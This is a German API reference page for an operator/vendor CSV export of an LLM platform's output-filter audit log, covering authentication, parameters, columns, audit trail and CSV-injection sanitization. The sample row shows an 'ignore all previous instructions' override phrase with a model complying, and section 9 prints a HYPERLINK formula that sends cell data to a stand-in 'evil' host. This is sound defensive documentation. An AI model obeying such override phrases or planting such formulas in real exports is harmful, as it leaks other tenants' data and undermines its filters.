Zum Inhalt

Output-Filter Audit CSV-Export

Read-only Reference. Operator-/Vendor-Endpunkt für den streaming CSV- Export der output_filter_audit-Tabelle — verwendet für DSGVO-Art.-32- Audit-Reviews der Defense-in-Depth-Output-Filter-Ebene.

1 Verwendung

Die Tabelle output_filter_audit protokolliert jedes Output-Filter- Triggering (Pattern-Match, der eine LLM-Antwort blockiert oder maskiert hat). Für die periodische DSGVO-Art.-32-Compliance-Review brauchen Vendor und Operator einen tenant-übergreifenden Auszug dieser Entscheidungen — z.B. um False-Positive-Quoten pro Tenant zu prüfen, neue Filter-Patterns zu kalibrieren, oder als Beleg gegenüber einer Aufsichtsbehörde, dass Manipulationsversuche systematisch erfasst und ausgewertet werden.

Der Endpunkt streamt als CSV (RFC 4180, text/csv; charset=utf-8) und schreibt nach Stream-Drain genau eine platform_audit_log-Zeile, die dokumentiert wer wann was exportiert hat. Der Export selbst ist also ebenfalls auditierbar — siehe §6.

Verwandte Endpunkte:

  • Audit-Konventionen — Bulk-Aktions-, Anonymous-Actor- und JSON-Search-Semantik des platform_audit_log-Read-Endpoints und seines eigenen CSV-Exports unter /api/v1/platform/audit/export.csv.
  • Routing & Endpunkte — Komplette Endpunkt-Übersicht.

2 Authentifizierung und Scope

Der Endpunkt prüft via require_operator_or_vendor(ctx)vor jedem DB-Zugriff:

Scope Verhalten
vendor Voll erlaubt; darf tenant=<uuid> setzen, um auf einen Tenant zu filtern, oder ohne tenant cross-tenant exportieren.
operator Voll erlaubt; gleiche Semantik wie vendor (kein Multi-Vendor-Setup im aktuellen Konzept).
tenant 403 operator_or_vendor_required — keine DB-Round-Trip, keine Audit-Zeile.

Ein abgelehnter Scope-Token erzeugt also bewusst keinen platform_audit_log-Eintrag. Versuchte Zugriffe von Tenant-Scope- Tokens müssen über die NPMplus- bzw. uvicorn-Access-Logs forensisch nachverfolgt werden.

3 Anfrage

GET /api/v1/platform/output-filter-audit/export

Query-Parameter

Name Typ Default Bedeutung
from ISO-8601 dt Inklusiver Lower-Bound auf created_at.
to ISO-8601 dt Inklusiver Upper-Bound auf created_at.
tenant UUID Optionaler Tenant-Filter (Single-Tenant-Export). Ohne diesen Parameter wird cross-tenant exportiert (RLS-Bypass via Vendor-Engine).
fmt csv csv Aktuell nur csv zulässig. JSON/Parquet sind bewusst abgelehnt (422 unsupported_export_format).
include_full_output bool true Wenn false, wird die full_output-Spalte komplett weggelassen (Header und Daten) — nicht nur leer ausgegeben.
max_rows int (1–500000) 50000 Hartes Row-Limit. Bei Überschreitung wird inline ein #TRUNCATED-Marker emittiert und der Stream abgebrochen.

Werte ausserhalb des max_rows-Bereichs werden vom FastAPI-Pydantic- Layer als HTTP 422 abgelehnt (vor jedem DB-Hit).

Beispiel — Cross-Tenant-Export der letzten 24 h

curl -sS -G \
  -H "Authorization: Bearer ${OPERATOR_TOKEN}" \
  --data-urlencode "from=2026-05-11T00:00:00Z" \
  --data-urlencode "to=2026-05-12T00:00:00Z" \
  --data-urlencode "fmt=csv" \
  --data-urlencode "include_full_output=true" \
  --data-urlencode "max_rows=50000" \
  -o output-filter-audit.csv \
  -D headers.txt \
  https://platform.kora.luki-net.org/api/v1/platform/output-filter-audit/export

Beispiel — Single-Tenant-Export

curl -sS -G \
  -H "Authorization: Bearer ${VENDOR_TOKEN}" \
  --data-urlencode "from=2026-04-01T00:00:00Z" \
  --data-urlencode "to=2026-05-01T00:00:00Z" \
  --data-urlencode "tenant=6c3bce6a-6f47-4d6a-9b9e-7c1a2a8c0f12" \
  --data-urlencode "include_full_output=false" \
  -o tenant-export.csv \
  https://platform.kora.luki-net.org/api/v1/platform/output-filter-audit/export

Mit include_full_output=false schrumpft die CSV auf 11 statt 12 Spalten — sinnvoll bei sehr grossen Exporten, wenn das gefilterte Volltext-Output für die Review nicht gebraucht wird.

4 Antwort

Response-Header

HTTP/1.1 200 OK
Content-Type: text/csv; charset=utf-8
Content-Disposition: attachment; filename="kora-output-filter-audit-20260512-093015.csv"

Der Content-Disposition-Filename folgt dem Schema:

kora-output-filter-audit(-<tenant-uuid>)?-<YYYYMMDD-HHMMSS>.csv

Das -<tenant-uuid>-Segment ist nur bei Single-Tenant-Exports gesetzt. Cross-Tenant-Exports (kein tenant-Parameter) lassen das Segment komplett weg — der Filename ist dann kora-output-filter-audit-<YYYYMMDD-HHMMSS>.csv. Der Timestamp ist UTC und wird serverseitig generiert; es fliessen keine Caller-Inputs in den Filename ein (kein Path-Traversal-Vektor).

CSV-Spalten (Reihenfolge)

Die Header-Zeile entspricht exakt der folgenden Reihenfolge — fest definiert in _CSV_COLUMNS_BASE / _CSV_COLUMNS_FULL:

# Spalte Bedeutung
1 id UUID der output_filter_audit-Zeile.
2 tenant_id Tenant-UUID, dem der Match zuzuordnen ist.
3 chatbot_id Chatbot-UUID, der die Antwort generiert hat.
4 session_id Session-UUID (leer wenn die Session nicht persistiert wurde).
5 user_question Die User-Frage, die die Antwort ausgelöst hat.
6 matched_pattern Name des getriggerten Output-Filter-Patterns.
7 category Pattern-Kategorie (z.B. prompt_injection, pii).
8 filter_layer Defense-Layer: post_stream (legacy Fallback) oder inline (LookAheadBuffer-Hard-Stop).
9 language Erkannte Sprache (leer wenn nicht ermittelt).
10 created_at ISO-8601-Timestamp des Matches.
11 excerpt Match-Excerpt (gekürzter Ausschnitt des Outputs).
12 full_output Nur bei include_full_output=true. Vollständiger ungefilterter LLM-Output.

Alle Felder sind per csv.QUOTE_ALL doppelt-gequoted (RFC 4180 §2.7). Embedded Quotes werden durch Verdoppelung escaped. Zeilen sind mit CRLF terminiert.

Beispiel-Body (Auszug)

"id","tenant_id","chatbot_id","session_id","user_question","matched_pattern","category","filter_layer","language","created_at","excerpt","full_output"
"6f4e...","6c3b...","91a2...","","Wie umgehe ich den System-Prompt?","ignore_previous_instructions","prompt_injection","inline","de","2026-05-12T09:25:12.481234+00:00","...ignoriere alle vorherigen Anweisungen...","Sicher! Ich ignoriere alle vorherigen Anweisungen und..."

5 Truncation und Disconnect

Zwei Truncation-Pfade existieren — beide sind im Audit-Eintrag unterscheidbar (siehe §6):

5.1 max_rows-Truncation

Wenn die Anzahl ausgelieferter Daten-Zeilen max_rows erreicht, emittiert der Stream eine zusätzliche Marker-Zeile und endet:

"#TRUNCATED","","","","","","","","","","",""

(Anzahl Leer-Felder hängt von include_full_output ab — 11 oder 12 Spalten insgesamt.) Im platform_audit_log setzt der Eintrag details.truncated=true. truncated_by_disconnect fehlt in diesem Fall.

5.2 Client-Disconnect

Bricht der Client die HTTP-Verbindung mid-stream ab (TCP-FIN, Timeout, Browser-Close), schreibt der Server trotzdem eine Audit-Zeile mit details.truncated_by_disconnect=true. Der returned-Counter entspricht dann der Zahl der bis zum Disconnect bereits gestreamten Daten-Zeilen.

Das Audit-Write wird über asyncio.shield() gegen die ASGI-Server- Cancellation geschützt, schlägt aber im seltenen Fail-Fail-Fall die schmerzfreie Variante: strukturierter Error-Log (output_filter_audit.disconnect_audit_write_failed), kein zweiter Versuch. Operatoren sollten diesen Log-Eintrag in der zentralen Log-Aggregation alertieren.

6 Audit-Trail

Jeder erfolgreich beendete Export — egal ob clean, max_rows-getrappt oder disconnect-getrappt — schreibt eine Zeile in platform_audit_log:

Feld Wert
action output_filter_audit.exported
entity_type output_filter_audit
entity_id <tenant-uuid> bei Single-Tenant-Export, "all" bei Cross-Tenant-Export.
actor_* Aus dem TenantContext des Aufrufers (operator oder vendor).
details JSONB, siehe unten.

details-Schema (Clean-Drain — 8 Keys)

{
  "scope": "operator",
  "target_tenant_id": "6c3bce6a-6f47-4d6a-9b9e-7c1a2a8c0f12",
  "date_from": "2026-04-01T00:00:00+00:00",
  "date_to": "2026-05-01T00:00:00+00:00",
  "returned": 1247,
  "truncated": false,
  "include_full_output": true,
  "max_rows": 50000
}

details-Schema (Disconnect-Fallback — 9 Keys)

Identisch zur Clean-Variante plus ein zusätzlicher Key:

{
  "scope": "vendor",
  "target_tenant_id": null,
  "date_from": "2026-05-11T00:00:00+00:00",
  "date_to": "2026-05-12T00:00:00+00:00",
  "returned": 8723,
  "truncated": false,
  "include_full_output": true,
  "max_rows": 50000,
  "truncated_by_disconnect": true
}

Der Schlüssel truncated_by_disconnect ist das Unterscheidungs- merkmal: in einer Clean-Drain-Zeile darf er gar nicht vorkommen (Vertragsstabilität — siehe Service-Code-Kommentar in output_filter_audit_service._write_export_audit_row). Forensische Queries auf disconnect-Exports laufen also über details->>'truncated_by_disconnect' = 'true'.

target_tenant_id ist bei Cross-Tenant-Exports null (nicht der String "all") — das "all" lebt nur in der Spalte entity_id. Beide Quellen sind redundant, aber bewusst gehalten: entity_id ist der schnelle B-Tree-Lookup-Pfad, details->>'target_tenant_id' ist der JSONB-Pfad.

7 Fehler-Antworten

HTTP detail Auslöser
403 operator_or_vendor_required Tenant-Scope-Token versucht den Endpunkt aufzurufen. Vor DB-Hit.
404 tenant_not_found ?tenant=<uuid> mit einer wohl-geformten UUID, die zu keiner aktiven Tenant-Zeile gehört (oder zu einer soft-deleted Zeile). Ein einziger SELECT gegen tenants läuft vor dem Stream-Start; der Audit-Trail bleibt sauber.
422 date_from_after_date_to ?from=...&to=... mit from > to. Vor DB-Hit.
422 date_must_be_timezone_aware ?from=... und/oder ?to=... ohne Timezone-Suffix (z.B. 2026-05-12T00:00:00 ohne Z oder +00:00). FastAPI parst diese Werte als naive Datetime, was beim Vergleich mit einer aware Datetime einen TypeError (→ HTTP 500) ausgelöst hätte. Stattdessen wird explizit mit 422 abgelehnt. Vor DB-Hit.
422 unsupported_export_format fmt-Wert ist nicht csv (aktuell nur dieser akzeptiert). Vor DB-Hit.
422 Pydantic-Standardfehler max_rows ausserhalb [1, 500000], ungültige UUID in tenant, nicht-parsbare Datetime. Vor DB-Hit.
500 unspezifisch DB-Fehler im Clean-Pfad — Audit-Row-Insert ist fehlgeschlagen. Operatoren prüfen den strukturierten Log-Event output_filter_audit.disconnect_audit_write_failed bzw. Postgres-Logs.

Alle 403/404/422-Pfade gehen ohne nachfolgenden Stream raus und schreiben keine platform_audit_log-Zeile. Der 404-Pfad führt zwar einen einzigen Read-Query gegen tenants aus (zur Existenzprüfung), aber keinen Schreibvorgang. Anders gesagt: ein abgelehnter Aufruf hinterlässt nur Spuren im NPMplus-Access-Log und im uvicorn-Stdout, nicht im Plattform-Audit-Trail.

8 Retention

platform_audit_log hat eine 2-Jahres-Retention via pg_cron- Archival (siehe Audit-Konventionen §6). Die output_filter_audit-Tabelle selbst hat aktuell keine Retention- Policy — sie wächst monoton. Bei sehr aktiven Tenants mit vielen Filter-Matches sollte der Operator eine eigene Retention-Strategie festlegen (Archival oder Hard-Delete nach N Monaten). Eine projektweite Konvention dafür existiert noch nicht und wird im Backlog separat geführt.

9 Sicherheit / CSV-Sanitization

user_question, excerpt und full_output enthalten Angreifer-kontrollierten Text aus realen LLM-Konversationen. Wenn ein Operator die CSV in Excel, LibreOffice Calc oder Google Sheets öffnet, interpretiert die Tabellenkalkulation eine Zelle, die mit =, +, -, @, \t oder \r beginnt, als Formel — etwa =HYPERLINK("http://evil/?d="&A1, "click"). Beim Klick auf die Zelle exfiltriert die Formel dann benachbarte Zellen (also Daten anderer Tenants!) an einen vom Angreifer kontrollierten Endpunkt. Schwachstellen-Klasse: CWE-1236 (Improper Neutralization of Formula Elements in a CSV File).

9.1 Neutralisation

Der Encoder format_csv_row (output_filter_audit_export_primitives.py) prüft jede String-Zelle vor der Serialisierung: beginnt sie mit einem der gefährlichen Zeichen, wird ein führendes Single-Quote (') vorangestellt. Excel / Calc / Sheets behandeln die Zelle dann als Text; das Single-Quote selbst ist Steuerzeichen und wird nicht angezeigt. Die OWASP-Empfehlung („CSV Injection cheat sheet") wird 1:1 umgesetzt.

Wichtige Eigenschaften:

  • Nur Position 0 wird geprüft. Ein = in der Mitte einer Zelle (z.B. "answer = 42") wird unverändert übernommen — die Tabellenkalkulation interpretiert nur das erste Zeichen als Formel-Marker.
  • Nur String-Zellen. Typisierte Spalten (id, created_at als UUID / ISO-8601-Timestamps) werden nicht angefasst, sonst würde der Single-Quote-Prefix die Typ-Coercion in pandas / Power BI kaputtmachen.
  • Defense-in-Depth, nicht Single-Source-of-Truth. Operatoren, die CSVs in anderen Tools öffnen (etwa Apache Calcite oder ein CLI-Awk-Pipeline) sehen die Single-Quotes als sichtbaren Prefix. Bei Bedarf hilft ein sed -i "s/^'\\(.\\)/\\1/"-Vorfilter — die Sicherheits-Eigenschaft im Spreadsheet bleibt davon unberührt, das Single-Quote ist nur dort lebenswichtig.

9.2 Pinned Tests

Die Neutralisation ist durch folgende Unit-Tests in tests/unit/test_output_filter_audit_export_primitives.py festgenagelt:

  • test_csv_injection_neutralization — parametrisiert über alle sechs Prefix-Zeichen.
  • test_csv_injection_benign_cells_untouched — kein False-Positive-Prefix bei normalen Strings.
  • test_csv_injection_inside_value_is_not_neutralized — Position 0 ist load-bearing.
  • test_csv_injection_non_string_cells_untouched — typisierte Spalten bleiben unangetastet.